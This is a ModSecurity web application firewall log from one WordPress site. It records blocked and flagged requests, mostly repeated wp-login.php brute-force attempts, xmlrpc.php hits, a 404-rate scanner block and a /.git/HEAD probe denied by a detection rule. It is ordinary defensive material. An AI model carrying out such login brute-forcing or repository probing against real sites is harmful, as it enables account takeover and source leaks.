[Wed Jan 28 13:10:29.577633 2026] [:error] [pid 42740:tid 42758] [client 194.247.173.99:33326] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aXmaRVnjAS34srJlXgQ7NgAAAJA"]
[Wed Jan 28 13:10:32.025117 2026] [:error] [pid 33636:tid 33657] [client 194.247.173.99:33336] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xo%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXmaSNIVZAudQH0BSC7cjwAAAhM"]
[Wed Jan 28 13:18:15.784187 2026] [:error] [pid 42740:tid 42746] [client 45.137.126.20:44911] [client 45.137.126.20] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.git/HEAD"] [unique_id "aXmcF1njAS34srJlXgQ9cAAAAIQ"]
[Wed Jan 28 13:34:06.918727 2026] [:error] [pid 33636:tid 33645] [client 43.130.78.203:48282] [client 43.130.78.203] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aXmfztIVZAudQH0BSC7kCgAAAgc"]
[Wed Jan 28 13:56:20.315867 2026] [:error] [pid 2625:tid 2641] [client 69.57.172.96:42902] [client 69.57.172.96] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 69.57.172.96, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXmlBFZhY64HvuPd7w0IAQAAAUo"]
[Wed Jan 28 14:56:11.715105 2026] [:error] [pid 33636:tid 33641] [client 49.51.253.26:58466] [client 49.51.253.26] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aXmzC9IVZAudQH0BSC722QAAAgM"]
[Wed Jan 28 16:21:11.618794 2026] [:error] [pid 33490:tid 33530] [client 192.250.229.83:58532] [client 192.250.229.83] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.250.229.83, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXnG92jexcy58gsBPJFVkAAAAEY"]
[Wed Jan 28 16:21:13.411647 2026] [:error] [pid 33490:tid 33528] [client 192.250.229.83:58532] [client 192.250.229.83] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.250.229.83, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXnG-Wjexcy58gsBPJFVkQAAAEQ"], referer: https://gigfragments.org/wp-login.php
[Wed Jan 28 16:21:26.267293 2026] [:error] [pid 24482:tid 24492] [client 190.92.174.30:53310] [client 190.92.174.30] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 190.92.174.30, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXnHBqLaUZr_xWekSHNpWwAAAcY"]
[Wed Jan 28 16:21:27.649680 2026] [:error] [pid 24482:tid 24493] [client 190.92.174.30:53310] [client 190.92.174.30] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 190.92.174.30, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXnHB6LaUZr_xWekSHNpXAAAAcc"], referer: https://gigfragments.org/wp-login.php
[Wed Jan 28 16:23:44.742192 2026] [:error] [pid 33580:tid 33603] [client 103.179.56.102:58492] [client 103.179.56.102] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.179.56.102, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXnHkJlb0QJtwfka8l4smgAAARA"]
[Wed Jan 28 16:23:46.540817 2026] [:error] [pid 33580:tid 33606] [client 103.179.56.102:58492] [client 103.179.56.102] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.179.56.102, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXnHkplb0QJtwfka8l4snQAAARM"], referer: https://gigfragments.org/wp-login.php
[Wed Jan 28 16:23:59.113527 2026] [:error] [pid 33580:tid 33593] [client 18.136.78.124:14416] [client 18.136.78.124] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 18.136.78.124, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXnHn5lb0QJtwfka8l4soQAAAQY"]
[Wed Jan 28 16:24:00.482638 2026] [:error] [pid 33580:tid 33610] [client 18.136.78.124:14416] [client 18.136.78.124] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 18.136.78.124, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXnHoJlb0QJtwfka8l4sogAAARc"], referer: https://gigfragments.org/wp-login.php
[Wed Jan 28 16:30:38.967464 2026] [:error] [pid 2625:tid 2639] [client 67.205.25.198:51178] [client 67.205.25.198] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 67.205.25.198, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXnJLlZhY64HvuPd7w0vrAAAAUg"]
[Wed Jan 28 16:30:40.661068 2026] [:error] [pid 2625:tid 2654] [client 67.205.25.198:51178] [client 67.205.25.198] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 67.205.25.198, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXnJMFZhY64HvuPd7w0vswAAAVc"], referer: https://gigfragments.org/wp-login.php
[Wed Jan 28 16:33:50.251485 2026] [:error] [pid 42740:tid 42754] [client 81.31.158.11:53086] [client 81.31.158.11] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 81.31.158.11, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXnJ7lnjAS34srJlXgRx-wAAAIw"]
[Wed Jan 28 16:33:51.996986 2026] [:error] [pid 42740:tid 42758] [client 81.31.158.11:53086] [client 81.31.158.11] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 81.31.158.11, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXnJ71njAS34srJlXgRyAAAAAJA"], referer: https://gigfragments.org/wp-login.php
[Wed Jan 28 16:33:56.280438 2026] [:error] [pid 33489:tid 33507] [client 92.205.230.78:51412] [client 92.205.230.78] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 92.205.230.78, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXnJ9BZrVZwQUFWC7_8gnQAAAA4"]
[Wed Jan 28 16:33:57.651448 2026] [:error] [pid 33489:tid 33510] [client 92.205.230.78:51412] [client 92.205.230.78] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 92.205.230.78, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXnJ9RZrVZwQUFWC7_8gpwAAABE"], referer: https://gigfragments.org/wp-login.php
[Wed Jan 28 16:38:35.606461 2026] [:error] [pid 33636:tid 33653] [client 34.30.170.78:39008] [client 34.30.170.78] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 34.30.170.78, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXnLC9IVZAudQH0BSC4MDwAAAg8"]
[Wed Jan 28 16:38:38.638804 2026] [:error] [pid 33636:tid 33652] [client 34.30.170.78:39008] [client 34.30.170.78] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 34.30.170.78, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXnLDtIVZAudQH0BSC4MEgAAAg4"], referer: https://gigfragments.org/wp-login.php
[Wed Jan 28 16:39:06.835667 2026] [:error] [pid 2625:tid 2653] [client 160.22.106.72:38516] [client 160.22.106.72] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 160.22.106.72, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXnLKlZhY64HvuPd7w0xHQAAAVY"]
[Wed Jan 28 16:39:10.121126 2026] [:error] [pid 2625:tid 2638] [client 160.22.106.72:38516] [client 160.22.106.72] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 160.22.106.72, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXnLLlZhY64HvuPd7w0xHgAAAUc"], referer: https://gigfragments.org/wp-login.php
[Wed Jan 28 16:39:24.226317 2026] [:error] [pid 2625:tid 2653] [client 43.140.247.223:57726] [client 43.140.247.223] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aXnLPFZhY64HvuPd7w0xKQAAAVY"]
[Wed Jan 28 16:40:47.582010 2026] [:error] [pid 33580:tid 33604] [client 92.205.230.78:51756] [client 92.205.230.78] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 92.205.230.78, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXnLj5lb0QJtwfka8l4vhwAAARE"]
[Wed Jan 28 16:40:50.530820 2026] [:error] [pid 33580:tid 33596] [client 92.205.230.78:51756] [client 92.205.230.78] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 92.205.230.78, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXnLkplb0QJtwfka8l4viwAAAQk"], referer: https://gigfragments.org/wp-login.php
[Wed Jan 28 16:44:43.146515 2026] [:error] [pid 24452:tid 24464] [client 79.133.57.238:36168] [client 79.133.57.238] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 79.133.57.238, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXnMe_0RQOh_GmqmVyYvCQAAAYo"]
[Wed Jan 28 16:44:45.207522 2026] [:error] [pid 24452:tid 24470] [client 79.133.57.238:36168] [client 79.133.57.238] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 79.133.57.238, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXnMff0RQOh_GmqmVyYvDAAAAZA"], referer: https://gigfragments.org/wp-login.php
[Wed Jan 28 16:46:01.540685 2026] [:error] [pid 33489:tid 33513] [client 92.205.230.78:33422] [client 92.205.230.78] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 92.205.230.78, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXnMyRZrVZwQUFWC7_8iaQAAABQ"]
[Wed Jan 28 16:46:04.193039 2026] [:error] [pid 33489:tid 33495] [client 92.205.230.78:33422] [client 92.205.230.78] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 92.205.230.78, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXnMzBZrVZwQUFWC7_8iagAAAAI"], referer: https://gigfragments.org/wp-login.php
[Wed Jan 28 16:50:31.645054 2026] [:error] [pid 2625:tid 2644] [client 161.199.95.100:57794] [client 161.199.95.100] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 161.199.95.100, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXnN11ZhY64HvuPd7w0y8QAAAU0"]
[Wed Jan 28 16:56:02.650940 2026] [:error] [pid 33490:tid 33533] [client 190.92.174.30:41608] [client 190.92.174.30] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 190.92.174.30, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXnPImjexcy58gsBPJFhOgAAAEk"]
[Wed Jan 28 16:56:04.512791 2026] [:error] [pid 33490:tid 33548] [client 190.92.174.30:41608] [client 190.92.174.30] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 190.92.174.30, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXnPJGjexcy58gsBPJFhPQAAAFg"], referer: https://gigfragments.org/wp-login.php
[Wed Jan 28 16:57:20.397365 2026] [:error] [pid 24482:tid 24491] [client 103.15.50.124:51764] [client 103.15.50.124] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.15.50.124, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXnPcKLaUZr_xWekSHNwJwAAAcU"]
[Wed Jan 28 16:57:25.601618 2026] [:error] [pid 24482:tid 24502] [client 103.15.50.124:51764] [client 103.15.50.124] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.15.50.124, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXnPdaLaUZr_xWekSHNwLgAAAdA"], referer: https://gigfragments.org/wp-login.php
[Wed Jan 28 17:06:58.110167 2026] [:error] [pid 33490:tid 33535] [client 40.160.60.43:33946] [client 40.160.60.43] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 40.160.60.43, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXnRsmjexcy58gsBPJFk0wAAAEs"]
[Wed Jan 28 17:06:59.483919 2026] [:error] [pid 33490:tid 33539] [client 40.160.60.43:33946] [client 40.160.60.43] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 40.160.60.43, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXnRs2jexcy58gsBPJFk1gAAAE8"], referer: https://gigfragments.org/wp-login.php
[Wed Jan 28 17:22:37.495661 2026] [:error] [pid 24452:tid 24458] [client 176.9.136.102:44724] [client 176.9.136.102] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.9.136.102, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXnVXf0RQOh_GmqmVyY4MwAAAYQ"]
[Wed Jan 28 17:22:39.340639 2026] [:error] [pid 24452:tid 24457] [client 176.9.136.102:44724] [client 176.9.136.102] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.9.136.102, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXnVX_0RQOh_GmqmVyY4NgAAAYM"], referer: https://gigfragments.org/wp-login.php
[Wed Jan 28 17:24:56.623704 2026] [:error] [pid 33490:tid 33524] [client 209.172.2.20:40664] [client 209.172.2.20] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.172.2.20, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXnV6Gjexcy58gsBPJFpwgAAAEA"]
[Wed Jan 28 17:24:58.616241 2026] [:error] [pid 33490:tid 33542] [client 209.172.2.20:40664] [client 209.172.2.20] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.172.2.20, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXnV6mjexcy58gsBPJFpxwAAAFI"], referer: https://gigfragments.org/wp-login.php
[Wed Jan 28 17:30:02.195173 2026] [:error] [pid 24452:tid 24457] [client 163.223.13.96:56296] [client 163.223.13.96] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 163.223.13.96, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXnXGv0RQOh_GmqmVyY6MgAAAYM"]
[Wed Jan 28 17:30:05.146200 2026] [:error] [pid 24452:tid 24458] [client 163.223.13.96:56296] [client 163.223.13.96] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 163.223.13.96, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXnXHf0RQOh_GmqmVyY6NQAAAYQ"], referer: https://gigfragments.org/wp-login.php
[Wed Jan 28 17:32:08.178291 2026] [:error] [pid 2625:tid 2642] [client 149.255.62.151:55724] [client 149.255.62.151] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 149.255.62.151, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXnXmFZhY64HvuPd7w06DwAAAUs"]
[Wed Jan 28 17:32:09.999461 2026] [:error] [pid 2625:tid 2652] [client 149.255.62.151:55724] [client 149.255.62.151] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 149.255.62.151, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXnXmVZhY64HvuPd7w06FAAAAVU"], referer: https://gigfragments.org/wp-login.php
[Wed Jan 28 17:35:38.513849 2026] [:error] [pid 33490:tid 33548] [client 162.19.58.174:54528] [client 162.19.58.174] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.19.58.174, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXnYamjexcy58gsBPJFtngAAAFg"]
[Wed Jan 28 17:35:40.025142 2026] [:error] [pid 33490:tid 33527] [client 162.19.58.174:54528] [client 162.19.58.174] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.19.58.174, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXnYbGjexcy58gsBPJFtoAAAAEM"], referer: https://gigfragments.org/wp-login.php
[Wed Jan 28 17:53:11.048586 2026] [:error] [pid 33489:tid 33503] [client 162.19.58.173:45032] [client 162.19.58.173] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.19.58.173, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXnchxZrVZwQUFWC7_8t-QAAAAo"]
[Wed Jan 28 17:53:12.792656 2026] [:error] [pid 33489:tid 33512] [client 162.19.58.173:45032] [client 162.19.58.173] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.19.58.173, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXnciBZrVZwQUFWC7_8t_QAAABM"], referer: https://gigfragments.org/wp-login.php
[Wed Jan 28 17:55:09.763625 2026] [:error] [pid 33491:tid 33556] [client 164.92.66.167:50480] [client 164.92.66.167] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 164.92.66.167, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXnc_WP9UY0x3irkINAFIgAAAMU"]
[Wed Jan 28 18:01:56.030038 2026] [:error] [pid 24452:tid 24460] [client 103.148.157.226:37210] [client 103.148.157.226] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.148.157.226, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXnelP0RQOh_GmqmVyZCkAAAAYY"]
[Wed Jan 28 18:05:18.782599 2026] [:error] [pid 24452:tid 24471] [client 113.160.224.208:43020] [client 113.160.224.208] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 113.160.224.208, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXnfXv0RQOh_GmqmVyZDcgAAAZE"]
[Wed Jan 28 18:05:21.306364 2026] [:error] [pid 24452:tid 24459] [client 113.160.224.208:43020] [client 113.160.224.208] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 113.160.224.208, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXnfYf0RQOh_GmqmVyZDdwAAAYU"], referer: https://gigfragments.org/wp-login.php
[Wed Jan 28 18:09:30.996028 2026] [:error] [pid 33489:tid 33513] [client 41.185.8.219:32814] [client 41.185.8.219] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 41.185.8.219, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXngWhZrVZwQUFWC7_8wmwAAABQ"]
[Wed Jan 28 18:09:33.094837 2026] [:error] [pid 33489:tid 33517] [client 41.185.8.219:32814] [client 41.185.8.219] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 41.185.8.219, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXngXRZrVZwQUFWC7_8wnAAAABg"], referer: https://gigfragments.org/wp-login.php
